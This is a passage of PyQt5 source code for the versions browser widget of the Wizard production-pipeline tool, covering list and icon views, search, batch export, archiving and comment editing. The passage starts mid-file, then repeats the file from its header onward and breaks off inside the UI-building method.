self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(True) def show_all(self): if self.list_mode: for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(False) elif self.icon_mode: for version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(False) def update_search(self): search_data = self.search_bar.text() if search_data != '': self.search_thread.update_search(self.versions_rows, search_data) else: self.show_all() def show_search_version(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(False) elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(False) def hide_search_version(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(True) elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(True) def connect_functions(self): self.list_view_scrollBar.rangeChanged.connect(lambda: self.list_view_scrollBar.setValue(self.list_view_scrollBar.maximum())) self.icon_view_scrollBar.rangeChanged.connect(lambda: self.icon_view_scrollBar.setValue(self.icon_view_scrollBar.maximum())) self.list_view.itemSelectionChanged.connect(self.version_changed) self.list_view.itemDoubleClicked.connect(self.launch) self.list_view.itemSelectionChanged.connect(self.refresh_infos) self.list_view.customContextMenuRequested.connect(self.context_menu_requested) self.icon_view.itemSelectionChanged.connect(self.version_changed) self.icon_view.itemDoubleClicked.connect(self.launch) self.icon_view.itemSelectionChanged.connect(self.refresh_infos) self.icon_view.customContextMenuRequested.connect(self.context_menu_requested) self.archive_button.clicked.connect(self.archive) self.manual_merge_button.clicked.connect(self.open_files) self.batch_button.clicked.connect(self.batch_export) self.batch_camera_button.clicked.connect(self.batch_export_camera) self.duplicate_button.clicked.connect(self.duplicate_version) self.new_version_button.clicked.connect(self.add_empty_version) self.folder_button.clicked.connect(self.open_folder) self.toggle_view_button.clicked.connect(self.toggle_view) self.launch_button.clicked.connect(self.launch) self.comment_button.clicked.connect(self.modify_comment) self.check_existence_thread.missing_file_signal.connect(self.missing_file) self.check_existence_thread.not_missing_file_signal.connect(self.not_missing_file) self.search_bar.textChanged.connect(self.update_search) self.search_thread.show_id_signal.connect(self.show_search_version) self.search_thread.hide_id_signal.connect(self.hide_search_version) def batch_export(self): selection = self.get_selection() version_id = None if len(selection) == 1: version_id = selection[0].version_row['id'] elif len(selection) == 0: last_version_id = project.get_last_work_version(self.work_env_id, 'id') if last_version_id: version_id = last_version_id[0] if version_id: domain = assets.get_domain_data_from_work_env_id(self.work_env_id, 'name') stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') self.batch_settings_widget = batch_settings_widget.batch_settings_widget(self.work_env_id, stage) if self.batch_settings_widget.exec_() == QtWidgets.QDialog.Accepted: settings_dic = dict() settings_dic['frange'] = self.batch_settings_widget.frange settings_dic['refresh_assets'] = self.batch_settings_widget.refresh_assets settings_dic['nspace_list'] = self.batch_settings_widget.nspace_list settings_dic['stage_to_export'] = stage if self.batch_settings_widget.need_render_type: settings_dic['render_type'] = self.batch_settings_widget.render_type if project.get_work_env_data(self.work_env_id, 'name') == 'guerilla_render': settings_dic['farm'] = self.batch_settings_widget.guerilla_deadline else: settings_dic['farm'] = False if self.batch_settings_widget.deadline: subtasks_library.deadline_batch_export(version_id, settings_dic) else: subtasks_library.batch_export(version_id, settings_dic) def batch_export_camera(self): selection = self.get_selection() version_id = None if len(selection) == 1: version_id = selection[0].version_row['id'] elif len(selection) == 0: last_version_id = project.get_last_work_version(self.work_env_id, 'id') if last_version_id: version_id = last_version_id[0] if version_id: domain = assets.get_domain_data_from_work_env_id(self.work_env_id, 'name') stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') self.batch_settings_widget = batch_settings_widget.batch_settings_widget(self.work_env_id, 'camera') if self.batch_settings_widget.exec_() == QtWidgets.QDialog.Accepted: settings_dic = dict() settings_dic['frange'] = self.batch_settings_widget.frange settings_dic['refresh_assets'] = self.batch_settings_widget.refresh_assets settings_dic['nspace_list'] = self.batch_settings_widget.nspace_list settings_dic['stage_to_export'] = 'camera' if self.batch_settings_widget.deadline: subtasks_library.deadline_batch_export(version_id, settings_dic) else: subtasks_library.batch_export(version_id, settings_dic) def build_ui(self): self.setObjectName('dark_widget') self.main_layout = QtWidgets.QVBoxLayout() self.main_layout.setContentsMargins(0,0,0,0) self.main_layout.setSpacing(0) self.setLayout(self.main_layout) self.info_widget = gui_utils.info_widget() self.info_widget.setVisible(0) self.main_layout.addWidget(self.info_widget) self.views_widget = QtWidgets.QWidget() self.views_layout = QtWidgets.QHBoxLayout() self.views_layout.setContentsMargins(0,0,0,0) self.views_layout.setSpacing(0) self.views_widget.setLayout(self.views_layout) self.main_layout.addWidget(self.views_widget) self.list_view = QtWidgets.QTreeWidget() self.list_view.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.list_view.setObjectName('tree_as_list_widget') self.list_view.setColumnCount(7) self.list_view.setIndentation(0) self.list_view.setAlternatingRowColors(True) self.list_view.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.list_view.setHeaderLabels(['Version', 'Software', 'User', 'Date', 'Comment', 'File', 'ID']) self.list_view.header().resizeSection(3, 150) self.list_view.header().resizeSection(4, 250) self.list_view.header().resizeSection(5, 400) self.list_view.header().resizeSection(6, 50) self.list_view_scrollBar = self.list_view.verticalScrollBar() self.views_layout.addWidget(self.list_view) self.icon_view = QtWidgets.QListWidget() self.icon_view.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.icon_view.setObjectName('icon_view') self.icon_view.setSpacing(4) self.icon_view.setIconSize(QtCore.QSize(200,200)) self.icon_view.setMovement(QtWidgets.QListView.Static) self.icon_view.setResizeMode(QtWidgets.QListView.Adjust) self.icon_view.setViewMode(QtWidgets.QListView.IconMode) self.icon_view.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.icon_view_scrollBar = self.icon_view.verticalScrollBar() self.views_layout.addWidget(self.icon_view) self.icon_view.setVisible(0) self.infos_widget = QtWidgets.QWidget() self.infos_widget.setObjectName('dark_widget') self.infos_layout = QtWidgets.QHBoxLayout() self.infos_layout.setContentsMargins(8,8,8,0) self.infos_layout.setSpacing(4) self.infos_widget.setLayout(self.infos_layout) self.main_layout.addWidget(self.infos_widget) self.infos_layout.addSpacerItem(QtWidgets.QSpacerItem(0,0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)) self.versions_count_label = QtWidgets.QLabel() self.versions_count_label.setObjectName('gray_label') self.infos_layout.addWidget(self.versions_count_label) self.selection_count_label = QtWidgets.QLabel() self.infos_layout.addWidget(self.selection_count_label) self.refresh_label = QtWidgets.QLabel() self.refresh_label.setObjectName('gray_label') self.infos_layout.addWidget(self.refresh_label) self.buttons_widget = QtWidgets.QWidget() self.buttons_widget.setObjectName('dark_widget') self.buttons_layout = QtWidgets.QHBoxLayout() self.buttons_layout.setContentsMargins(8,8,8,8) self.buttons_layout.setSpacing(4) self.buttons_widget.setLayout(self.buttons_layout) self.main_layout.addWidget(self.buttons_widget) self.buttons_layout.addSpacerItem(QtWidgets.QSpacerItem(0,0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)) self.search_bar = gui_utils.search_bar() gui_utils.application_tooltip(self.search_bar, "Search for a specific version") self.search_bar.setPlaceholderText('"0023", "j.smith&maya", "retake eye"') self.buttons_layout.addWidget(self.search_bar) self.toggle_view_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.toggle_view_button, "Switch to list view") self.toggle_view_button.setFixedSize(35,35) self.toggle_view_button.setIconSize(QtCore.QSize(25,25)) self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_icon_view_)) self.buttons_layout.addWidget(self.toggle_view_button) self.manual_merge_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.manual_merge_button, "Manually merge a file") self.manual_merge_button.setFixedSize(35,35) self.manual_merge_button.setIconSize(QtCore.QSize(25,25)) self.manual_merge_button.setIcon(QtGui.QIcon(ressources._tool_manually_publish_)) self.buttons_layout.addWidget(self.manual_merge_button) self.batch_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.batch_button, "Batch export") self.batch_button.setFixedSize(35,35) self.batch_button.setIconSize(QtCore.QSize(25,25)) self.batch_button.setIcon(QtGui.QIcon(ressources._tool_batch_publish_)) self.buttons_layout.addWidget(self.batch_button) self.batch_camera_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.batch_camera_button, "Batch export cameras") self.batch_camera_button.setFixedSize(35,35) self.batch_camera_button.setIconSize(QtCore.QSize(25,25)) self.batch_camera_button.setIcon(QtGui.QIcon(ressources._tool_batch_camera_)) self.buttons_layout.addWidget(self.batch_camera_button) self.comment_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.comment_button, "Modify comment") self.comment_button.setFixedSize(35,35) self.comment_button.setIconSize(QtCore.QSize(25,25)) self.comment_button.setIcon(QtGui.QIcon(ressources._tool_comment_)) self.buttons_layout.addWidget(self.comment_button) self.launch_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.launch_button, "Launch selection") self.launch_button.setFixedSize(35,35) self.launch_button.setIconSize(QtCore.QSize(25,25)) self.launch_button.setIcon(QtGui.QIcon(ressources._launch_icon_)) self.buttons_layout.addWidget(self.launch_button) self.duplicate_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.duplicate_button, "Duplicate selection") self.duplicate_button.setFixedSize(35,35) self.duplicate_button.setIconSize(QtCore.QSize(25,25)) self.duplicate_button.setIcon(QtGui.QIcon(ressources._tool_duplicate_)) self.buttons_layout.addWidget(self.duplicate_button) self.new_version_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.new_version_button, "Create empty version") self.new_version_button.setFixedSize(35,35) self.new_version_button.setIconSize(QtCore.QSize(25,25)) self.new_version_button.setIcon(QtGui.QIcon(ressources._tool_add_)) self.buttons_layout.addWidget(self.new_version_button) self.folder_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.folder_button, "Open versions folder") self.folder_button.setFixedSize(35,35) self.folder_button.setIconSize(QtCore.QSize(25,25)) self.folder_button.setIcon(QtGui.QIcon(ressources._tool_folder_)) self.buttons_layout.addWidget(self.folder_button) self.archive_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.archive_button, "Archive selection") self.archive_button.setFixedSize(35,35) self.archive_button.setIconSize(QtCore.QSize(25,25)) self.archive_button.setIcon(QtGui.QIcon(ressources._tool_archive_)) self.buttons_layout.addWidget(self.archive_button) self.drop_widget = drop_files_widget.drop_widget(self) self.drop_widget.setText('Merge file as new version') self.drop_widget.setVisible(0) def context_menu_requested(self): selection = self.get_selection() menu = gui_utils.QMenu(self) folder_action = menu.addAction(QtGui.QIcon(ressources._tool_folder_), 'Open folder') empty_version_action = menu.addAction(QtGui.QIcon(ressources._tool_add_), 'Create new empty version') merge_action = menu.addAction(QtGui.QIcon(ressources._tool_manually_publish_), 'Manually merge a file') duplicate_action = None archive_action = None comment_action = None batch_action = None if len(selection)>=1: duplicate_action = menu.addAction(QtGui.QIcon(ressources._tool_duplicate_), 'Duplicate version(s)') archive_action = menu.addAction(QtGui.QIcon(ressources._tool_archive_), 'Archive version(s)') comment_action = menu.addAction(QtGui.QIcon(ressources._tool_comment_), 'Modify comment') launch_action = None if len(selection)==1: launch_action = menu.addAction(QtGui.QIcon(ressources._launch_icon_), 'Launch version') batch_action = menu.addAction(QtGui.QIcon(ressources._tool_batch_publish_), 'Batch export version') action = menu.exec_(QtGui.QCursor().pos()) if action is not None: if action == folder_action: self.open_folder() elif action == empty_version_action: self.add_empty_version() elif action == duplicate_action: self.duplicate_version() elif action == archive_action: self.archive() elif action == launch_action: self.launch() elif action == comment_action: self.modify_comment() elif action == merge_action: self.open_files() elif action == batch_action: self.batch_export() def modify_comment(self): items = self.get_selection() if items is not None: if len(items) > 0: self.comment_widget = comment_widget.comment_widget() if self.comment_widget.exec_() == QtWidgets.QDialog.Accepted: comment = self.comment_widget.comment for item in items: assets.modify_version_comment(item.version_row['id'], comment) gui_server.refresh_team_ui() def version_changed(self): selection = self.get_selection() if len(selection) == 1: if selection[0] is not None: self.version_changed_signal.emit(selection[0].version_row['name']) def toggle_view(self): selection = self.get_selection() if self.icon_mode: self.icon_view.setVisible(0) self.list_view.setVisible(1) self.list_mode = 1 self.icon_mode = 0 elif self.list_mode: self.icon_view.setVisible(1) self.list_view.setVisible(0) self.list_mode = 0 self.icon_mode = 1 if self.icon_mode: self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_list_view_)) gui_utils.modify_application_tooltip(self.toggle_view_button, "Switch to list view") elif self.list_mode: self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_icon_view_)) gui_utils.modify_application_tooltip(self.toggle_view_button, "Switch to icon view") self.refresh() self.set_selection(selection) def set_view_as_icon_mode(self): if self.icon_mode == 1: pass else: self.toggle_view() def set_view_as_list_mode(self): if self.list_mode == 1: pass else: self.toggle_view() def set_context(self): if self.icon_mode == 1: current_mode = 'icon' else: current_mode = 'list' context_dic = dict() context_dic['view_mode'] = current_mode user.user().add_context(user_vars._versions_context_, context_dic) def get_context(self): context_dic = user.user().get_context(user_vars._versions_context_) if context_dic is not None and context_dic != dict(): if context_dic['view_mode'] == 'icon': self.set_view_as_icon_mode() elif context_dic['view_mode'] == 'list': self.set_view_as_list_mode() def get_number(self): number = 0 if self.icon_mode: number = len(self.version_icon_ids) elif self.list_mode: number = len(self.version_list_ids) return number def get_selection(self): selection = None if self.icon_mode: selection = self.icon_view.selectedItems() elif self.list_mode: selection = self.list_view.selectedItems() return selection def set_selection(self, selection): self.clear_selection() if selection is not None: for item in selection: if self.icon_mode: self.version_icon_ids[item.version_row['id']].setSelected(True) elif self.list_mode: self.version_list_ids[item.version_row['id']].setSelected(True) def clear_selection(self): for version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setSelected(False) for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setSelected(False) def duplicate_version(self): selection = self.get_selection() if selection is not None: for item in selection: assets.duplicate_version(item.version_row['id'], f"Duplicate from version {item.version_row["name"]}") gui_server.refresh_team_ui() def launch(self): items = self.get_selection() if items is not None: if len(items) == 1: launch.launch_work_version(items[0].version_row['id']) gui_server.refresh_team_ui() def archive(self): items = self.get_selection() if items is not None: if items!=[]: self.confirm_widget = confirm_widget.confirm_widget('Do you want to continue ?', parent=self) if self.confirm_widget.exec_() == QtWidgets.QDialog.Accepted: version_ids = [] for item in items: version_ids.append(item.version_row['id']) subtasks_library.archive_versions(version_ids) def refresh_infos(self): self.versions_count_label.setText(f"{self.get_number()} versions -") selection = self.get_selection() if selection is not None: number = len(selection) else: number = 0 self.selection_count_label.setText(f"{number} selected") def remove_tree_version(self, version_id): if version_id in self.version_list_ids.keys(): item = self.version_list_ids[version_id] self.list_view.invisibleRootItem().removeChild(item) del self.version_list_ids[version_id] def remove_icon_version(self, version_id): if version_id in self.version_icon_ids.keys(): item = self.version_icon_ids[version_id] self.icon_view.takeItem(self.icon_view.row(item)) del self.version_icon_ids[version_id] def add_empty_version(self): if self.work_env_id is not None: if assets.add_version(self.work_env_id, 'Empty version', 0): gui_server.refresh_team_ui() def open_folder(self): if self.work_env_id is not None: path_utils.startfile(assets.get_work_env_path(self.work_env_id)) class custom_version_tree_item(QtWidgets.QTreeWidgetItem): def __init__(self, version_row, software_icon, parent=None): super(custom_version_tree_item, self).__init__(parent) self.software_icon = software_icon self.version_row = version_row self.fill_ui() def fill_ui(self): self.setText(0, self.version_row['name']) bold_font=QtGui.QFont() bold_font.setBold(True) self.setFont(0, bold_font) self.setIcon(1, self.software_icon) self.setText(2, self.version_row['creation_user']) day, hour = tools.convert_time(self.version_row['creation_time']) self.setText(3, f"{day} - {hour}") self.setForeground(3, QtGui.QBrush(QtGui.QColor('gray'))) self.setText(4, self.version_row['comment']) self.setText(5, os.path.basename(self.version_row['file_path'])) self.setText(6, str(self.version_row['id'])) self.setForeground(6, QtGui.QBrush(QtGui.QColor('gray'))) def set_missing(self): self.setForeground(5, QtGui.QBrush(QtGui.QColor('#f79360'))) def set_not_missing(self): self.setForeground(5, QtGui.QBrush(QtGui.QColor('#9ce87b'))) def refresh(self, version_row): self.version_row = version_row self.fill_ui() class custom_version_icon_item(QtWidgets.QListWidgetItem): def __init__(self, version_row, parent=None): super(custom_version_icon_item, self).__init__(parent) self.version_row = version_row self.fill_ui() def fill_ui(self): icon = QtGui.QIcon() pixmap = QtGui.QPixmap(self.version_row['thumbnail_path']) icon.addPixmap(pixmap, QtGui.QIcon.Normal) icon.addPixmap(pixmap, QtGui.QIcon.Selected) if not path_utils.isfile(self.version_row['thumbnail_path']): default_icon = QtGui.QIcon(ressources._no_screenshot_small_) icon.addPixmap(default_icon.pixmap(200), QtGui.QIcon.Normal) icon.addPixmap(default_icon.pixmap(200), QtGui.QIcon.Selected) self.setIcon(icon) self.setText(f"{self.version_row["name"]} - {self.version_row["creation_user"]}") self.setTextAlignment(QtCore.Qt.AlignLeft) def set_missing(self): self.setForeground(QtGui.QColor('#f79360')) def set_not_missing(self): self.setForeground(QtGui.QColor('#9ce87b')) class check_existence_thread(QtCore.QThread): missing_file_signal = pyqtSignal(int) not_missing_file_signal = pyqtSignal(int) def __init__(self, parent=None): super(check_existence_thread, self).__init__(parent) self.versions_rows = None self.running = True def run(self): if self.versions_rows is not None: for version_row in self.versions_rows: if not path_utils.isfile(version_row['file_path']): self.missing_file_signal.emit(version_row['id']) else: self.not_missing_file_signal.emit(version_row['id']) if not self.running: break def update_versions_rows(self, versions_rows): self.running = False self.versions_rows = versions_rows self.running = True self.start() class search_thread(QtCore.QThread): show_id_signal = pyqtSignal(int) hide_id_signal = pyqtSignal(int) def __init__(self): super().__init__() self.running = True def update_search(self, versions_rows, search_data): self.running = False self.search_data = search_data self.versions_rows = copy.deepcopy(versions_rows) self.running = True self.start() def run(self): try: keywords = self.search_data.split('&') for version_row in self.versions_rows: version_id = version_row['id'] del version_row['id'] del version_row['creation_time'] del version_row['file_path'] del version_row['screenshot_path'] del version_row['thumbnail_path'] del version_row['work_env_id'] values = list(version_row.values()) data_list = [] for data_block in values: data_list.append(str(data_block)) data = (' ').join(data_list) if all(keyword.upper() in data.upper() for keyword in keywords): self.show_id_signal.emit(version_id) else: self.hide_id_signal.emit(version_id) except: logger.debug(str(traceback.format_exc()))
# coding: utf-8 # Author: Leo BRUNEL # Contact: contact@leobrunel.com # Python modules from PyQt5 import QtWidgets, QtCore, QtGui from PyQt5.QtCore import pyqtSignal import os import time import logging import traceback import copy # Wizard modules from wizard.core import launch from wizard.core import assets from wizard.core import user from wizard.core import project from wizard.core import tools from wizard.core import path_utils from wizard.core import subtasks_library from wizard.vars import ressources from wizard.vars import user_vars from wizard.vars import assets_vars # Wizard gui modules from wizard.gui import gui_utils from wizard.gui import gui_server from wizard.gui import confirm_widget from wizard.gui import drop_files_widget from wizard.gui import comment_widget from wizard.gui import batch_settings_widget logger = logging.getLogger(__name__) class versions_widget(QtWidgets.QWidget): version_changed_signal = pyqtSignal(str) def __init__(self, parent=None): super(versions_widget, self).__init__(parent) self.work_env_id = None self.versions_rows = None self.version_list_ids = dict() self.version_icon_ids = dict() self.check_existence_thread = check_existence_thread() self.search_thread = search_thread() self.icon_mode = 0 self.list_mode = 1 self.build_ui() self.connect_functions() self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) def dragEnterEvent(self, event): self.drop_widget.setVisible(1) event.accept() def dragLeaveEvent(self, event): self.drop_widget.setVisible(0) event.accept() def dropEvent(self, event): self.drop_widget.setVisible(0) data = event.mimeData() urls = data.urls() files = [] for url in urls: if url and url.scheme() == 'file': path = str(url.path())[1:] files.append(path) if len(files) != 0: self.merge_files(files) def focus_work_version(self, work_version_id): if self.icon_mode: ids = self.version_icon_ids view = self.icon_view else: ids = self.version_list_ids view = self.list_view if work_version_id in ids.keys(): item = ids[work_version_id] view.scrollToItem(item) view.setCurrentItem(item) def open_files(self): options = QtWidgets.QFileDialog.Options() fileList, _ = QtWidgets.QFileDialog.getOpenFileNames(self, "Select files", "", "All Files (*);", options=options) if fileList: self.merge_files(fileList) def merge_files(self, files=[]): for file in files: assets.merge_file(file, self.work_env_id, "Manually merged file", 0) gui_server.refresh_team_ui() def change_work_env(self, work_env_id): self.check_existence_thread.running = False self.version_list_ids = dict() self.version_icon_ids = dict() self.list_view.clear() self.icon_view.clear() self.work_env_id = work_env_id self.refresh_camera_button() self.refresh() def refresh_camera_button(self): if self.work_env_id: stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') if stage in assets_vars._camera_export_stages_: self.batch_camera_button.setVisible(True) else: self.batch_camera_button.setVisible(False) else: self.batch_camera_button.setVisible(False) def show_info_mode(self, text, image): self.views_widget.setVisible(0) self.info_widget.setVisible(1) self.info_widget.setText(text) self.info_widget.setImage(image) self.setAcceptDrops(False) def hide_info_mode(self): self.info_widget.setVisible(0) self.views_widget.setVisible(1) self.setAcceptDrops(True) def refresh(self): start_time = time.time() if self.isVisible(): self.refresh_list_view() self.refresh_icons_view() self.update_search() self.update_refresh_time(start_time) def update_refresh_time(self, start_time): refresh_time = str(round((time.time()-start_time), 3)) self.refresh_label.setText(f"- refresh : {refresh_time}s") def refresh_list_view(self): if self.list_mode: if self.work_env_id is not None and self.work_env_id != 0: software_name = project.get_work_env_data(self.work_env_id, 'name') software_icon = QtGui.QIcon(ressources._sofwares_icons_dic_[software_name]) self.versions_rows = project.get_work_versions(self.work_env_id) project_versions_id = [] if self.versions_rows is not None: self.hide_info_mode() for version_row in self.versions_rows: project_versions_id.append(version_row['id']) if version_row['id'] not in self.version_list_ids.keys(): version_item = custom_version_tree_item(version_row, software_icon, self.list_view.invisibleRootItem()) self.version_list_ids[version_row['id']] = version_item else: self.version_list_ids[version_row['id']].refresh(version_row) version_list_ids = list(self.version_list_ids.keys()) for version_id in version_list_ids: if version_id not in project_versions_id: self.remove_tree_version(version_id) self.check_existence_thread.update_versions_rows(self.versions_rows) elif self.work_env_id is None: self.show_info_mode("Init the work environment\nto create the first version !", ressources._init_work_env_info_image_) else: self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) self.refresh_infos() def refresh_icons_view(self): if self.icon_mode: if self.work_env_id is not None and self.work_env_id != 0: self.versions_rows = project.get_work_versions(self.work_env_id) project_versions_id = [] if self.versions_rows is not None: self.hide_info_mode() for version_row in self.versions_rows: project_versions_id.append(version_row['id']) if version_row['id'] not in self.version_icon_ids.keys(): version_item = custom_version_icon_item(version_row) self.icon_view.addItem(version_item) self.version_icon_ids[version_row['id']] = version_item version_icon_ids = list(self.version_icon_ids.keys()) for version_id in version_icon_ids: if version_id not in project_versions_id: self.remove_icon_version(version_id) self.check_existence_thread.update_versions_rows(self.versions_rows) elif self.work_env_id is None: self.show_info_mode("Init the work environment\nto create the first version !", ressources._init_work_env_info_image_) else: self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) self.refresh_infos() def missing_file(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].set_missing() elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].set_missing() def not_missing_file(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].set_not_missing() elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].set_not_missing() def hide_all(self): if self.list_mode: for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(True) elif self.icon_mode: for version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(True) def show_all(self): if self.list_mode: for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(False) elif self.icon_mode: for version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(False) def update_search(self): search_data = self.search_bar.text() if search_data != '': self.search_thread.update_search(self.versions_rows, search_data) else: self.show_all() def show_search_version(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(False) elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(False) def hide_search_version(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(True) elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setHidden(True) def connect_functions(self): self.list_view_scrollBar.rangeChanged.connect(lambda: self.list_view_scrollBar.setValue(self.list_view_scrollBar.maximum())) self.icon_view_scrollBar.rangeChanged.connect(lambda: self.icon_view_scrollBar.setValue(self.icon_view_scrollBar.maximum())) self.list_view.itemSelectionChanged.connect(self.version_changed) self.list_view.itemDoubleClicked.connect(self.launch) self.list_view.itemSelectionChanged.connect(self.refresh_infos) self.list_view.customContextMenuRequested.connect(self.context_menu_requested) self.icon_view.itemSelectionChanged.connect(self.version_changed) self.icon_view.itemDoubleClicked.connect(self.launch) self.icon_view.itemSelectionChanged.connect(self.refresh_infos) self.icon_view.customContextMenuRequested.connect(self.context_menu_requested) self.archive_button.clicked.connect(self.archive) self.manual_merge_button.clicked.connect(self.open_files) self.batch_button.clicked.connect(self.batch_export) self.batch_camera_button.clicked.connect(self.batch_export_camera) self.duplicate_button.clicked.connect(self.duplicate_version) self.new_version_button.clicked.connect(self.add_empty_version) self.folder_button.clicked.connect(self.open_folder) self.toggle_view_button.clicked.connect(self.toggle_view) self.launch_button.clicked.connect(self.launch) self.comment_button.clicked.connect(self.modify_comment) self.check_existence_thread.missing_file_signal.connect(self.missing_file) self.check_existence_thread.not_missing_file_signal.connect(self.not_missing_file) self.search_bar.textChanged.connect(self.update_search) self.search_thread.show_id_signal.connect(self.show_search_version) self.search_thread.hide_id_signal.connect(self.hide_search_version) def batch_export(self): selection = self.get_selection() version_id = None if len(selection) == 1: version_id = selection[0].version_row['id'] elif len(selection) == 0: last_version_id = project.get_last_work_version(self.work_env_id, 'id') if last_version_id: version_id = last_version_id[0] if version_id: domain = assets.get_domain_data_from_work_env_id(self.work_env_id, 'name') stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') self.batch_settings_widget = batch_settings_widget.batch_settings_widget(self.work_env_id, stage) if self.batch_settings_widget.exec_() == QtWidgets.QDialog.Accepted: settings_dic = dict() settings_dic['frange'] = self.batch_settings_widget.frange settings_dic['refresh_assets'] = self.batch_settings_widget.refresh_assets settings_dic['nspace_list'] = self.batch_settings_widget.nspace_list settings_dic['stage_to_export'] = stage if self.batch_settings_widget.need_render_type: settings_dic['render_type'] = self.batch_settings_widget.render_type if project.get_work_env_data(self.work_env_id, 'name') == 'guerilla_render': settings_dic['farm'] = self.batch_settings_widget.guerilla_deadline else: settings_dic['farm'] = False if self.batch_settings_widget.deadline: subtasks_library.deadline_batch_export(version_id, settings_dic) else: subtasks_library.batch_export(version_id, settings_dic) def batch_export_camera(self): selection = self.get_selection() version_id = None if len(selection) == 1: version_id = selection[0].version_row['id'] elif len(selection) == 0: last_version_id = project.get_last_work_version(self.work_env_id, 'id') if last_version_id: version_id = last_version_id[0] if version_id: domain = assets.get_domain_data_from_work_env_id(self.work_env_id, 'name') stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') self.batch_settings_widget = batch_settings_widget.batch_settings_widget(self.work_env_id, 'camera') if self.batch_settings_widget.exec_() == QtWidgets.QDialog.Accepted: settings_dic = dict() settings_dic['frange'] = self.batch_settings_widget.frange settings_dic['refresh_assets'] = self.batch_settings_widget.refresh_assets settings_dic['nspace_list'] = self.batch_settings_widget.nspace_list settings_dic['stage_to_export'] = 'camera' if self.batch_settings_widget.deadline: subtasks_library.deadline_batch_export(version_id, settings_dic) else: subtasks_library.batch_export(version_id, settings_dic) def build_ui(self): self.setObjectName('dark_widget') self.main_layout = QtWidgets.QVBoxLayout() self.main_layout.setContentsMargins(0,0,0,0) self.main_layout.setSpacing(0) self.setLayout(self.main_layout) self.info_widget = gui_utils.info_widget() self.info_widget.setVisible(0) self.main_layout.addWidget(self.info_widget) self.views_widget = QtWidgets.QWidget() self.views_layout = QtWidgets.QHBoxLayout() self.views_layout.setContentsMargins(0,0,0,0) self.views_layout.setSpacing(0) self.views_widget.setLayout(self.views_layout) self.main_layout.addWidget(self.views_widget) self.list_view = QtWidgets.QTreeWidget() self.list_view.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.list_view.setObjectName('tree_as_list_widget') self.list_view.setColumnCount(7) self.list_view.setIndentation(0) self.list_view.setAlternatingRowColors(True) self.list_view.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.list_view.setHeaderLabels(['Version', 'Software', 'User', 'Date', 'Comment', 'File', 'ID']) self.list_view.header().resizeSection(3, 150) self.list_view.header().resizeSection(4, 250) self.list_view.header().resizeSection(5, 400) self.list_view.header().resizeSection(6, 50) self.list_view_scrollBar = self.list_view.verticalScrollBar() self.views_layout.addWidget(self.list_view) self.icon_view = QtWidgets.QListWidget() self.icon_view.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.icon_view.setObjectName('icon_view') self.icon_view.setSpacing(4) self.icon_view.setIconSize(QtCore.QSize(200,200)) self.icon_view.setMovement(QtWidgets.QListView.Static) self.icon_view.setResizeMode(QtWidgets.QListView.Adjust) self.icon_view.setViewMode(QtWidgets.QListView.IconMode) self.icon_view.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.icon_view_scrollBar = self.icon_view.verticalScrollBar() self.views_layout.addWidget(self.icon_view) self.icon_view.setVisible(0) self.infos_widget = QtWidgets.QWidget() self.infos_widget.setObjectName('dark_widget') self.infos_layout = QtWidgets.QHBoxLayout() 